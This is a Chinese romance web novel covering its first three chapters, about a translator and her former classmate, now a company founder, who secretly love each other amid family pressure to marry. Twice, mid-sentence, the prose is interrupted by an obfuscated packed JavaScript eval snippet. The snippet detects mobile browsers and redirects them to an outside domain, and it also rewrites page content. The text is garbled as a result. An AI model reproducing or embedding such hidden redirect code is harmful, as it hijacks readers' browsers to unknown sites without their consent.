《和crush闪婚了》 1. 撞到(弋) 一个普通工作日早晨的九点,a市早早敲起了繁忙的节奏。喇叭声与引擎的轰鸣声交织成的喧嚣交响曲随着时间慢慢落幕。 地铁站口吞吐着匆忙的人潮,一波又一波,来来往往,最后慢慢变空。 阳光掠过摩天楼的间隙,穿过树叶,照在人行道上,白晃晃的。 闻弋迟到了。 一向守时的闻弋居然迟到了。 当她从梦境中挣扎着醒来,抓过床头的手机一看,屏幕上冰冷的数字赫然显示着“9:00”。 她猛地从床上直起身,大脑像是被灌满了沉重的铅块,昏昏沉沉。她用力揉了揉干涩的眼睛,以为是自己看错了。再次确认,真是9:00。 闻弋的上班时间是8:30,公司有规定,每周星期三早都要开一个早会,每个人都必须参加,而且不能迟到,否则会扣奖金。 今天,刚好就是星期三,要开早会。 而现在她睡过头,错过了这场早会。 一想到主管在会议室里大发雷霆,她就害怕得瑟瑟发抖。 闻弋慌忙起床,随便整理了一下,拎着包就出门往地铁站赶。 通往地铁站的路似乎比平时漫长。当她气喘吁吁地冲进地铁站,早高峰的人潮早已退去,站内显得空旷。这样的宁静,反而加剧了她的焦灼。 车厢里人很少,与平日摩肩接踵的景象天差地别。这种“错位”感让她更加恍惚,有一瞬间,她产生了一种不知身在何处的迷茫。窗外的广告牌飞速后退,她猛地一个激灵,还以为自己坐反方向了,她赶紧再次确认了线路图,虚惊一场。 当闻弋终于抵达公司楼下时,那家她常光顾的咖啡店前,早已不见了平日排起的长龙。若是平时准时到达,她偶尔也会在队伍不长时买一杯。可今天,虽然没人,她却连驻足片刻的资格都没有。 她冲进旋转门,直奔那部能最快到达她所在楼层的电梯,焦急地按着上行按钮。电梯门缓缓打开,里面空无一人。她走进去,感觉脑子依旧浑浑噩噩。 “叮”楼层到了。 电梯门一开,闻弋低着头一股脑地冲了出去。就在拐向公司大门的方向时,“砰”地一下,她结结实实地撞上了一个人坚硬的胸膛,鼻尖萦绕上一阵熟悉的无花果香水味。 “对不起!”她没看清对方是谁,仓促地丢下一句道歉,就像受惊的兔子一样继续往公司大门跑去,只留下一个慌乱的背影。 终于到了。 闻弋扶在公司玻璃门旁的扶杆上,大口大口地喘气。 她的一个同事从她身后走进来。 “闻弋,你终于来了,高主管找你。” 完了,彻底完了。居然是高主管。她公司最严厉的那个主管。 “你自求多福吧,他今天脾气不太好。” 闻弋刚刚平复一点的呼吸又急促起来。她战战兢兢地朝着走廊尽头那间主管办公室走去。 站在办公室门前,她抬起手,犹豫了一下,最终还是鼓起勇气,轻轻叩响了门。 “请进。”里面传来高主管的声音。 闻弋的心一下子提到了嗓子眼。她轻轻地推开门,仿佛那门有千斤重。 “高主管……”她低着头走进去,双手紧张地交握在身前。 她完全不敢抬头去看办公桌后的那个人,只能在脑海里勾勒出一张乌云密布、写满不悦的脸。 “闻弋,”高主管的声音听不出什么情绪,“今天周三,早会你怎么没参加?” “对不起,主管,我……我今天睡过头了。” “哦?”高主管拖长了音调,这声“哦”让闻弋心里更加七上八下,“想不到,你也会睡过头。是工作压力太大了,还是有什么别的情况?” 压力大吗?平心而论,工作虽然忙碌,但尚在可控范围。真正的压力源,是来自母亲近几个月来持续不断的、近乎强迫的相亲安排。 可是,这种私事,怎么好跟主管开口?万一主管“关心”下属,也给她介绍起对象来,那岂不是雪上加霜?情急之下,她只好搬出了其他借口。 “工作上没什么问题,就是……”她顿了顿,声音更低了,“我家里父亲最近检查出一些比较消耗身体的慢性病,我比较担忧,所以最近休息得不太好,压力有点大。” 这倒也不算完全说谎,父亲前不久体检确实查出了“三高”,母亲也以此作为催促她“赶紧结婚”的理由。 “哦~”高主管这次的声音拉得更长,尾音微微上扬,闻弋依然分辨不出那是什么情绪,像在阴阳怪气。 他停顿了一下,似乎在斟酌词句。闻弋屏住呼吸,等待着一场预料中的批评。 “今天迟到没参加例会这件事,看在你以往表现一直很好的份上,这次我就不深究了,”高主管的话锋出乎意料地一转,“前几天你跟着我去见的那个外企客户,对方负责人昨晚特意发邮件过来,夸你翻译做得非常到位。本来今天早会,我还打算在会上公开表扬你一下,结果发现你根本不在。” 闻弋愣住了,抬起头。高主管的脸上并没有预想中的怒容,反而带着一丝温和。这让她更加不知所措,只能尴尬地扯了扯嘴角,露出一个比哭还难看的笑容。 “好了,回去工作吧。”高主管挥了挥手,“家里老人有什么事,需要帮忙或者要请假,也可以及时和我说一声。别自己一个人硬扛着。大家在一起共事这么久,都不是冷漠无情的人。” “谢谢高主管。”闻弋回应着,然后退出了办公室,小心翼翼地关上了门。 她长长地舒了一口气。这简直像坐过山车一样。 “怎么样?高主管没骂你吧?”周姿尹的声音响起,她把一杯咖啡递到闻弋手里,是闻弋最喜欢喝的抹茶拿铁。 闻弋接过咖啡,热气让她混乱的思绪清醒了一点。“没有,他什么重话都没说,就问了下迟到的原因,还说……客户表扬了我。” “你真是撞大运了!”周姿尹惊讶地睁大了眼睛,“今天早会上他可严厉了,好几个项目进度汇报不合他意,都被他训得抬不起头。我还以为你也在劫难逃呢。” 闻弋听到周姿尹这么一说,更加觉得刚才在办公室里好好和她说话的高主管奇怪了。 “闻弋,你今早到底几点起的啊?来得也太匆忙了吧?”周姿尹的注意力转移到了她的脸上,凑近仔细看了看,“你这头发怎么回事?后面翘起来一撮,都没扎进去。” “不会吧?我记得我好好梳过了。” 周姿尹从闻弋后脑勺那拉出来一撮头发。 “哈哈哈哈哈,你好好看看这是啥。” 完了!闻弋的脸瞬间爆红。那岂不是刚才她在高主管办公室里,背对着他时,这撮不听话的头发就一直这样翘着? 她赶紧把手里的咖啡杯塞回给周姿尹,手忙脚乱地扯下头绳,干脆让一头长发披散下来。 “就这样吧,披着算了。”闻弋懊恼地嘟囔着,重新拿回咖啡,猛喝了一大口,“今天真是糟糕了!坐地铁差点坐反方向,刚才跑过来的时候还撞了个人,估计人家也觉得我冒冒失失的,还以为我是从哪个疯人院跑出来的。” “不过,说真的,闻弋,”周姿尹收起玩笑的神色,关切地问,“你今天到底怎么回事?你可是从不迟到的。” “唉,别提了。”闻弋叹了口气,眼神黯淡下来,“都怪我妈,最近像着了魔一样逼我去相亲。” “相亲?”周姿尹挑了挑眉。 “是啊,简直是密集轰炸。”闻弋晃动着手中的咖啡杯,“前天才见过一个,昨天就又给我安排了一个,让我后天再去见。我才二十八岁,很老了吗?怎么看我妈那架势,好像我明天就嫁不出去了似的?” 周姿尹拍拍她的肩膀:“老一辈的想法嘛,总觉得儿女工作稳定了,下一步就该成家立业,抱孙子孙女了。不过说实话,你还没到三十,你妈妈是有点心急了。” “我昨天就是因为这个又和她吵了一架,”闻弋揉了揉有些胀痛的太阳穴,“几乎一夜没睡好。估计就是因为这个,才睡过头迟到了。” 一想到相亲带来的这一切麻烦,一股无名火就涌了上来。 她抬起手,有些生气地指向前面紧闭的门,似乎是把那扇门当做了那个相亲对象:“不过,说到底,都怪那个后天的相亲对象。要不是因为他,我也不会和我妈吵起来,就不会失眠,更不会迟到。” 就在她话音刚落的瞬间,那扇门“咔哒”一声,从里面被推开了。一个身材高挑的年轻男人走了出来。闻弋伸出的手指,不偏不倚,正好隔空指向了他的脸。 闻弋僵在原地。迅速收回手,恨不得找个地缝钻进去。那个男人脸上掠过一丝明显的错愕和不解,目光在闻弋涨红的脸上停留了两秒,那眼神,仿佛在说“这人有毛病?”。 闻弋低下头,把滚烫的脸颊埋进周姿尹的肩膀后。 “好了好了,他走了。”周姿尹忍着笑,拍了拍闻弋的后背。 闻弋发出一声压抑的哀嚎,抬起头,脸上红晕未退,“太尴尬了!我今天是不是水逆啊!诸事不宜!” “闻弋,我跟你说,”周姿尹压低声音,带着点看好戏的兴奋,“那是昨天刚搬到我们公司对面那间办公室的老板之一。要是他是个大嘴巴,那你在这栋楼里的‘威名’,可就要传开了。” 闻弋的脸瞬间又红了一个度,感觉头顶快要冒烟了。 周姿尹看着她这副恨不得以头抢地的模样,终于忍不住笑出了声。她凑近闻弋,神秘兮兮地说:“不过,他们公司还有另一个老板,我今早来的时候正好碰见,是个超级大帅哥。你没见到真是可惜了,那气质,那身材……” 闻弋羞愤交加,一把捂住周姿尹的嘴:“求你,别说了。” 这下好了,形象全无。她沮丧地想,说不定早上在走廊里撞到的那个有和她同种无花果香水味的男人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535089|186512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是周姿尹说的老板呢?毕竟,她匆忙中指尖触碰到的那件外套的质感,绝非普通职员能消费得起的档次。 “本来我还觉得,那个帅哥老板跟你挺配的,郎才女貌,气质也搭。”周姿尹挣脱开她的手,惋惜地咂咂嘴,“现在看来,估计是没戏了。你还是老老实实去相亲吧。” “你瞎凑合呢?怎么可能?” “啊?我觉得那个人真的很符合你的择偶标准,和你以前和我描述的暗恋对象一模一样,”周姿尹仔细回忆着那个人的外貌,突然想到了什么,神神秘秘地凑到闻弋的耳边。 “闻弋,你现在不结婚,还那么抗拒相亲,不会是,你还惦记着你的那个暗恋对象吧?” “瞎说什么!我看起来像是那种喜欢吃回头草的人吗?” “你们谈过吗,就说是回头草?” 闻弋沉默不语,确实,她和那个暗恋对象,连朋友都算不上,准确来说,就是做过同学的陌生人,遇见招呼都不会打的那种。 上次见面,还是在两年前,她参加她好朋友奚午的婚礼,他参加他的白月光奚午的婚礼。 上上次见面,还是在奥兰多哈利·波特主题公园里,偶遇他和一个女生在对角巷里逛,天都黑了,估计他都没看见自己。 上上上次,大概是在英国伦敦塔桥上。 他们擦肩而过。 再往前,就是刚高考后回校收拾书籍的那次了。 每次见到,他看她像看到任何一个无关紧要的路人一样,毫无波澜地移开视线。 她讨厌他看她的那种眼神,冰冷又陌生。可奇怪的是,即使如此,那份始于青涩年华的悸动,却像一枚深植于心的种子,多年来未曾真正枯萎。她有时会怀疑自己,是不是有什么斯德哥尔摩综合征,否则怎么会对一个似乎讨厌自己的人,怀抱如此漫长而无望的惦念? 或许,真该找个时间去看看心理医生了。 “怎么不说话了?被我说中了吧!”周姿尹看着她脸上变幻的神色,了然地说道,“你心里就是还有他。这个结要是解不开,以后就算你顺从你妈妈去相亲,随便找个人结了婚,你的心不在那里,婚姻也很难真正幸福的。” “那你说我该怎么办?”闻弋抬起头来,她晃了晃手中早已空掉的咖啡杯,“照我妈这种紧逼盯人的架势,我感觉我这婚是非结不可了,只是时间早晚问题。” “找代餐啊!”周姿尹双眼放光,“比如,就对面新来的那个帅哥老板!他真的很适合你,长相、气质都是顶配,事业有成,完全符合……” “行了行了,打住!”闻弋赶紧打断不靠谱的提议,“你别在这儿乱点鸳鸯谱了。我还是后天老老实实去见那个相亲对象吧,好歹能让我妈消停一阵子,免得她又想什么新招数来要挟我。” “可是,万一后天这个相亲男,完全不符合你的任何标准呢?性格不合,三观不同,难道你还要继续忍受这种‘面试’一样的约会,直到找到一个‘差不多就行’的人吗?”周姿尹的问题一针见血。 “那能怎么办?”闻弋的声音里带着一丝认命般的疲惫,“总会……找到一个能勉强相处吧?感情嘛,或许可以婚后培养?”她说这话时,自己都觉得底气不足。 “唉,所以说,还是单身好。”周姿尹感慨道,“我年纪比你还大两岁呢,但我爸妈就从来不管我这些,随我开心。” “那是你父母开明。”闻弋羡慕地说,“我真搞不懂我妈到底怎么想的,为什么非要把自己的女儿推进婚姻那个框框里才算完成人生任务。” “好啦好啦,老一辈的观念根深蒂固,很难改变的。光靠我们抱怨也没用,”周姿尹抬起手腕看了看表,惊呼一声,“坏了!我们俩在这闲聊太久了,快半小时了!要是被高主管看见,咱俩就真完了!赶紧回去工作!” 闻弋也回过神来:“我去休息室冲杯咖啡提提神,今天脑子一直不清醒。” “嗯,快去吧。”周姿尹点点头,转身要走,又忍不住回头,压低声音补充了一句,“不过,我跟你说真的,那个新老板,你真的可以考虑一下。相信我,只要你见上一面,你就明白我为什么这么推荐了。” “以后再说吧。”闻弋意兴阑珊地挥挥手,转身朝休息室走去,“而且,人家那种条件的,可不一定瞧得上我这种早上顶着一头乱发、还指着人鼻子骂的女人。” 她晃了晃手中的空杯子,自嘲地笑了笑,身影消失在走廊拐角。 接下来的一整天,闻弋都处于一种心神不宁的状态。所有的事混杂在一起,让她无法集中精神。 她的脑海里,反复盘旋着的,是后天即将到来的那场相亲。母亲在电话里把那男人夸得天花乱坠,什么“青年才俊”、“家境优渥”、“性格稳重”……可是,这些外在的条件,真的能换来内心的契合与未来的幸福吗? 那个让她与母亲争吵、素未谋面的相亲对象,到底是一个什么样的人? 2. 撞到(一) “程总,您和高总之前看中的那片办公区,已经全部装修完毕,明天就可以正式搬入了。” 助理的汇报声将程覃一的思绪拉回现实。他的目光却不由自主地再次投向窗外楼宇间的风景。 他不久前才从国外归来。这些年,他在海外投资领域做得风生水起,积累了足够的资本和经验。或许是倦鸟知还,又或许是连他自己也未必完全明晰的缘由,他选择了回国发展。 回国后,他与曾在国外结识的伙伴高析默一拍即合,共同创立了一家电影制作公司。恰逢高析默的叔叔经营的外贸公司所在大厦,有一处毗邻的办公区域空置出来。那里位置优越,采光极佳,高析默推荐将那里作为新公司的办公区。 原本,程覃一对此是有些犹豫的。他理想中的办公区应该更宽敞些,最好能规划出员工休息区,以及一间简易的单人休息室,而高析默看中的那片场地不算很大。 自己是个工作起来就不管不顾的人,忙到深夜是家常便饭,若能有个地方小憩,总好过每天在办公室的沙发上将就,或是强撑着疲惫驱车回家,只能睡上寥寥数小时,又得赶早高峰回来开会。医生曾警告过他,长此以往,身体迟早会出现问题,老年时各种疾病都会找上门来。 然而,所有的犹豫,都在他随高析默前去探查那片办公区的那一天,烟消云散。 他做梦也没想到,会在那里,看见那个藏在他心底多年、念念不忘的身影。 她竟然就在高析默叔叔的公司工作。 所有的理性考量都被一种近乎本能的冲动取代。程覃一立刻改变了主意,当场拍板,就要这里。 新场地的空间确实不算阔绰,要给给员工们辟出一方舒适的午休区域,他想要的那个私人小休息室,恐怕没有了。 看到她的那一刻,他就决定放弃休息室。 能与她在同一层楼工作,呼吸着相同的空气,感受着相同的时间流逝,这本身,于他而言,就是莫大的幸福。 休息不足的困扰,总能有办法解决。大不了,实在困倦时,直接趴在办公桌上就好了。 为了能离她近一点,这些又算得了什么呢? 他甚至不敢奢求更多,只要能这样默默地、在不打扰她的前提下,偶尔看她一眼,她就在不远处,这已经是命运格外的恩赐。 “好,既然能搬,不如就今天下午。你去安排车辆,通知大家,辛苦一下,有加班费。”他想还是早点搬进去比较好。 距离的拉近解决了,却解决不了横亘在他心头的难题。 她似乎,非常讨厌他。 程覃一记得上一次见到她,是在他表姐姜书桐好友苏格和高中同学奚午的婚礼上。 他远远就看见了她。整场婚礼,他的目光总是不受控制地飘向她,却又在她可能看过来时仓皇移开。有一次,他偷看得太过专注,不小心撞上了她的视线。她脸上的笑容瞬间凝固,原本弯起的嘴角缓缓落下,随即冷淡地转开了头。 程覃一的心像是被细针扎了一下,密密麻麻的涩意蔓延开来。 他不明白,自己真的就那么惹人厌烦吗? 好歹,他们也曾做过一年的前后桌。可她怎么就如此厌恶他呢? 他还记得上上次相遇,是在美国奥兰多环球影城的哈利·波特园区里。 那时他陪表妹游玩,尽管已来过数次,却依旧应允。夜晚灯火璀璨的巷子里,他一眼就看到了她。她穿着一身格兰芬多的学院袍,和一个女伴说笑着迎面走来。 看到她那一瞬间,程覃一觉得呼吸都停滞了。 好漂亮。 他想起来,很多年前,当他们还是前后桌时,她曾眼睛亮晶晶地对他描述,将来毕业典礼上,一定要穿格兰芬多的学院服拍照。 那时他对《哈利·波特》一无所知,傻傻地问她:“格兰芬多是什么?” 女孩当时扬起下巴,带着点小骄傲,又似嗔怪地说:“笨蛋!你去看《哈利·波特》就知道啦!” 他很难受,忍不住想,她是不是觉得他很无知,很乏味? 那天放学后,他没有直接回家,而是去了附近还在营业的书店,买到了一套《哈利·波特》。他熬了通宵,囫囵吞枣地看完了前两本。第二天顶着浓重的黑眼圈,却还是迫不及待地、带着点小得意地告诉她,他搞清楚格兰芬多是什么了,还知道了格兰芬多的狮子、金色飞贼…… 他开始期待,期待在她的毕业典礼上穿着格兰芬多的学院服,他还幻想着或许还能和她拍一张合照。 然而,事情没有按照程覃一的预想发展。他们在高三就彻底沦为陌生人。程覃一没有参加毕业典礼,而是早早去了英国。那个关于毕业典礼的期待,成了他青春里一个未竟的遗憾。 没想到,在二十五岁这一年,在异国他乡,十八岁的遗憾竟以这样一种方式被弥补。他看着灯火阑珊处的她,觉得她是这世上最好看的女孩,美好到让他甚至不敢直视。 他们,就那样在欢声笑语与魔法世界的布景中,擦肩而过。她或许,根本未曾注意到他的存在。 更早一些,上上上次,是在英国伦敦的塔桥上。阴沉的天空下,他看见她与一个身形挺拔的男孩并肩而立,凭栏远眺。风吹起她的长发,她侧头对那个男孩说着什么,脸上绽放出的那种轻松而灿烂的笑容,是程覃一从未在她脸上看到过的,准确来说,他见过,但那样的笑容从来都不是对着他。。 每一次不期而遇,她都仿佛视他如无物。那种彻骨的疏离,比直接的厌恶更让他无力。 她大概,是真的非常非常讨厌他吧? 程覃一苦涩地想。如果现在同在一层楼工作,被她发现自己的存在,她会不会感到困扰?会不会和同事私下议论:“隔壁新来的那个老板我认识,高中同学,挺讨厌一人,字写得歪歪扭扭,整天板着张脸,看着就烦人……” 他不敢再深想下去,每多想一分,心就往下沉一分。 看来,最好的方式,就是尽量不要让她发现自己的存在。这样对她好,免得惹她心烦;也对自己好,避免看到她眼中毫不掩饰的厌弃,让自己再次陷入无休止的内耗与自我怀疑中。为了一个遥不可及的人损耗心神,实在不利于身心健康。 下午,程覃一带着简单的个人物品搬进了新办公室。他特意留意了对面的公司,玻璃门后工位井然,只是那个熟悉的位置空着——她似乎已经提前下班了。 一丝失落掠过心头,但很快被他按捺下去。 没关系,明天总能见到。程覃一总是这样安慰自己,仿佛只要怀着期待,日子就有了盼头。 然而,第二天早上,直到九点已过,对面公司早会都结束了,他依旧没能看到那个期待中的身影。 从踏入办公室起,他就有些心神不宁。文件上的字迹仿佛都在跳动,难以聚焦。他一次次起身倒水,目光却总是不由自主地飘向门外。 各种猜测开始不受控制地冒出来:她生病了?还是家里有事?亦或是路上有点问题? 担忧终究战胜了“不要打扰她”的准则,他再也坐不住,起身快步离开办公室,朝电梯走去。。 不料,他刚走出自己的办公室区域,一个匆忙的身影便迎面跑来,结结实实地撞进了他怀里。 熟悉的无花果香水味瞬间冲进他鼻子里。 是她! 他和她有同一种味道。 程覃一身体一僵,下意识地伸手想扶住她,她却已像受惊的蝴蝶迅速退开,低着头,仓促地丢下一句“对不起”,头也不回地朝着自家公司的玻璃门跑去,留下一个慌乱又可爱的背影。 程覃一站在原地,感受着怀中残留的温热触感,还有那句带着急促喘息的“对不起”,心脏后知后觉地剧烈跳动起来。 他看着她跑远,目光捕捉到她脑后有一小撮不听话的头发,没有被妥帖地扎进马尾里,随着她的跑动俏皮地翘着。 他忍不住低低地笑了一声。 还是这么马虎。 可是,就算这样马虎,在他眼里,也依旧是说不出的可爱。 仅仅是这样一个短暂的、甚至算不上交集的照面,听到她一句无心的道歉,竟让他觉得,今天一整天都充满了阳光。 他回到办公室,原本焦躁的心奇异地平静下来,甚至带着一丝隐秘的欢欣,工作效率都提高了不少。 然而,这份好心情并未持续太久。放在桌上的手机开始不合时宜地、持续不断地振动起来,屏幕亮起又熄灭,提示信息一条接一条。 不用看,程覃一就知道,肯定又是奶奶发来的催婚信息。 近几个月,老人家像是着了魔,动用各种关系网搜罗所谓的“适龄优秀女青年”信息,源源不断地推送给他。起初,他还顾及老人家的心情,勉强见过几位,但后来发现这简直是打开了一个潘多拉魔盒,介绍来得越来越多,他实在疲于应付,索性开启了免打扰模式。 结果,奶奶竟然辗转用上了他表哥的号码继续轰炸。 忍无可忍,他点开信息栏。 屏幕上充斥着各种标题惊悚的催婚短视频链接,夹杂着几条相亲对象的简介和照片,以及奶奶语重心长的责备: “你爸在你这个年纪,你都会打酱油了!” “二十八了,再不抓紧,好姑娘都被挑完了,你就等着当老光棍吧!” “我最近这心脏啊、血压啊都不太舒服,你再不结婚让我抱上孙子,万一我哪天走了,都闭不上眼……” 看到最后一条,程覃一心头一股无名火猛地窜起。 他指尖飞快地在屏幕上敲击:“怎么?我表哥的儿子就不是您亲孙子了?您要是真那么喜欢小孩,就让表哥表嫂努努力再生一个呗!还有,请您别整天说这些不吉利的话,您身体硬朗着呢,别总拿这些话来逼我!” 发送完毕,他毫不犹豫地将表哥的号码拉进了黑名单。 担心奶奶还会换其他号码继续骚扰,他心一横,直接长按电源键,将手机关了机。 世界终于清静了。 相亲?靠这种奔着传宗接代的“面试”,真的能找到所谓的“合适”的人吗? 更何况,他心里早已被一个人填满,再也容不下其他。若是勉强自己为了完成任务而和一个不爱的女人结婚,不仅是对自己的不负责,更是对那个无辜女孩的伤害。 平静下来,他的思绪又不自觉地飘向了她。 想起早上她那撮翘起的头发,想起她撞入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535090|186512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀中时那瞬间的柔软触感,想起她匆忙道歉时低垂的睫毛…… 她怎么能这么可爱? 想着想着,他的嘴角不受控制地向上扬起。 “哟!程总,这是想到什么好事了?笑得这么春心荡漾,见到喜欢的人了?”高析默戏谑的声音突然在门口响起。 程覃一迅速收敛了笑容,板起脸,试图用严肃掩饰尴尬:“我笑什么了?倒是你,进别人办公室连门都不敲,有没有点素质?” “诶诶诶,别装!”高析默大喇喇地走进来,指着他的脸,“我老远就看见你嘴巴都快咧到耳根子了!还有,这门是你自己没关严实,我就轻轻一敲,它自己就开了,这可赖不着我!” “少废话,找我什么事?”程覃一没好气地问,试图转移话题。 “其实也没啥大事……”高析默摸了摸后脑勺,脸上露出一种欲言又止、混合着八卦和看好戏的神情。 “有事快说。别耽误我工作。”程覃一作势要赶人。 “哎呀,真不是什么重要的事,”高析默犹豫了一下,还是凑近了些,压低声音,“就是,你之前不是老跟我吐槽被家里逼相亲嘛。刚才,我在我办公室里,听见外面有两个女生在说话……话说咱们这隔音效果是不是太差了点儿?这要是以后我们在里面讨论点机密商业计划,被人听去了可怎么办?改天得赶紧找人加装隔音板……” “你就为这事来找我?”程覃一无语,伸手就要把高析默往外推,“这种小事你自己决定就行。” “哎哎哎,别推别推,重点在后头呢。”高析默灵活地躲开程覃一的手,“我是说,我‘被迫’听到了她们的谈话内容,好像是在说相亲的事儿。其中一个女孩,听起来挺生气的,在骂那个相亲对象,还说她妈妈为了这个相亲对象跟她大吵一架……我本来想开门提醒她们小声点,结果一开门,你猜我看见了谁?” “有话快说,别卖关子!”程覃一心头莫名一跳,有种不祥的预感。 “你猜猜嘛。”高析默挤眉弄眼,一脸欠揍的表情。 程覃一看着他这副模样就火大,再次上手要把他撵出去。这家伙,永远没个正形。 “诶诶诶!松手松手!我说我说!再推我真不说了啊?这事儿可跟你那个藏在心尖尖上的人有关!”高析默连忙喊道。 程覃一动作一顿,立刻松开了手,表情瞬间变得无比严肃,甚至带上了几分紧张:“说。” 高析默看着瞬间变脸的程覃一,心里暗叹,陷入暗恋的男人真是太可怕了,这眼神像是要把他生吞活剥了一样。 “就是……我一开门,就看见了你钱包里藏着的那张照片上的女孩……” “你翻过我钱包?”程覃一眉头紧锁。 “冤枉啊大哥!”高析默叫屈,“不是你当年自己喝醉了,非要掏出来显摆给我看的好吗?” “我什么时候给你看过?”程覃一完全没印象。 “就五年前在英国那次!你不知道受什么刺激了,一个人跑去喝酒,醉得一塌糊涂,我去接你,你抱着钱包里的照片,絮絮叨叨跟我炫耀你暗恋的女孩有多漂亮多优秀,还说……” “闭嘴!我不想听!”程覃一耳根微热,赶紧打断他。他一点也不想回忆自己酒醉后都说了什么蠢话。 “行行行,不说这个,”高析默见好就收,“我接着说今天的事。你那个心上人,今天迟到了,还被我叔叔叫进办公室训话了。” “你叔叔训她了?”程覃一的心立刻提了起来。 “哪能啊!”高析默摆摆手,“那可是我叔叔手下的得力干将,前几天刚参与搞定一个大项目,客户赞不绝口。我叔叔宝贝还来不及,怎么会真训她?估计就是问问情况。” 程覃一松了口气,语气里不自觉带上了与有荣焉的骄傲:“她一直都很优秀。” “啧啧,你真的好爱她……”高析默忍不住调侃。 再爱又能如何?再爱,也改变不了她讨厌他的事实。可再讨厌,又能怎么样?再讨厌,他依旧无法控制地爱着她。 像无解的网,将他牢牢困住。 “少说废话,”程覃一强行拉回话题,“相亲是怎么回事?” “嘿嘿,重点来了!”高析默脸上再次浮现那种八卦专属的兴奋,“你心爱的女孩,马上就要去和别人相亲啦!想知道具体时间吗?” “什么时候?”程覃一眉头瞬间紧锁,声音也沉了下去。 “我听着……好像是后天?具体地点嘛,我就不知道了。消息就这么多,兄弟,祝你好运咯!”高析默朝他挤了挤眼睛。 真丑。程覃一在心里默默吐槽。 高析默带着一脸“看好戏”的表情离开了办公室,留下程覃一独自站在原地。 她居然也要相亲。 一种混合着酸涩、焦急、无力的复杂情绪将他淹没。 他难受得几乎无法呼吸。 可他有什么立场去管呢?他甚至连走到她面前,问一句“你好吗”的勇气都没有。 难道,就只能这样眼睁睁地看着她去见别的男人,然后看着她开始一段新的恋情,甚至走向婚姻? 有没有什么办法……能让他,成为她的那个“相亲对象”呢? 3. 相亲(弋) 高考成绩公布那天,闻弋看着屏幕上那个超出预期的分数,心里却没有太多喜悦。这个分数刚好擦过京大录取线,像一把双刃剑,给了她进入最高学府的机会,却剥夺了选择的权利。 这个分不上不下,报不了最好的专业,也报不了自己喜欢的专业,最后按母亲的要求,她报了个英语专业。 经过高中三年的磨砺和父母事无巨细的管控,闻弋发现自己已经快要忘记那个曾经在深夜对着电影海报发誓要成为制片人的自己。最终,她在网页上勾上了“京大英语系”,鼠标的点击声,像微不可闻的叹息。 奚午不喜欢英语这个专业,她从小到大,最讨厌的科目就是英语,但是没有办法,只有这个专业才能稳上京大。 母亲的梦想是让她上京大。 她只能顺从。 开学后,尽管对专业缺乏热情,闻弋骨子里的要强却不允许她敷衍了事。她像一株倔强的植物,在并不肥沃的土壤里拼命扎根。大四时,她已成为系里的佼佼者,手握多家知名企业的offer。 但她一个都没有接受。 高考后没多久,她从班主任那得知她的crush出国了。 其实是她帮老师整理文件时,无意听到班主任和别的老师的谈话,她只听到说他出国读书,但是具体哪个国家她也不知道。 她原本也有出国的打算,如果打听到他去哪个国家,说不定又可以和他做同学了。 她幻想着,总会有一天,他不会再讨厌她,他会握起她的手,漫步在英国伦敦塔桥上,看泰晤士河的日落。 高考后在学校遇到奚午,她还想问奚午关于他去的国家,毕竟她看出来他对奚午有点意思,或许他还告诉奚午去哪个国家了。 但是奚午也不知道这事,反而还看出她喜欢他这件事。 奚午还说他很关心她。 怎么可能? 他最讨厌她了,每次一见面,要么无视她,要么就用看仇人那种眼神看她。 他是什么人,她还不知道么? 闻弋根本不信,他对奚午那么温柔,怎么对她的态度就那么差。 闻弋嘴很硬,纵使奚午已经看清她的心思,但她就是不承认,她还装出一副很讨厌他的样子。 她不想自己喜欢他这件事被人知道,她觉得很丢脸。 别人要是知道她喜欢他,他们肯定会想:看起来不食人间烟火的闻弋居然也会喜欢男人,还为情所困?真是颠覆想象,真会装。 但闻弋不得不承认,自己确实很会装,周边的人都以为她真的讨厌他,当然除了奚午。 她也曾想过通过他的好友晏子钦打听消息,又怕事情传到他耳中,让他更加厌恶自己。犹豫再三,她终究没有开口。 某个失眠的夜晚,她打开□□好友列表,看着那个安静躺在那里的名字。他们加了好友后几乎从未说过话。盯着看了许久,她终于下定决心,将他和他的好友全都删除、拉黑。 闻弋根本打听不到他的消息,最后还是应母亲的要求报了京大的英语专业。 大一时,奚午来找她玩,说他去了英国,但不知道在哪个学校。 终于,在大三那年,她在奚午的朋友圈看到了他。 果然。 有缘人自会相遇。 自己和他真的没缘分。 奚午发的是一张合照,文案是“偶遇老同学”。 闻弋放大看后面的建筑,看起来是一所学校。 他们在一所学校吧? 原来他们在同一所学校。这个结论让闻弋的心像被什么东西揪紧了。她想哭,却又倔强地忍住,为一个讨厌自己的人流泪,太不值得了。 她试图放下,却发现有些感情早已在年复一年的自我欺骗中扎根太深。 大四毕业,她毅然办理了出国手续,也去了英国。她不知道他在哪所大学,只能抱着渺茫的希望,期待在伦敦的某个街角与他偶遇。 当然,他们真的偶遇了,在伦敦塔桥上。 还是那样,和陌生人一样,擦肩而过。 相遇,不过是偶然交汇的波光,是塔桥上擦肩时荡开的涟漪。 却只剩下一个女孩久久不安的心。 回国后,闻弋在S市一家大型外贸公司担任笔译。她工作出色,很快得到重用,偶尔也会跟随领导外出洽谈客户。 有了稳定的工作,还拥有了自己的房子和车子。 她在二十八岁这年,拥有了许多人羡慕的生活。 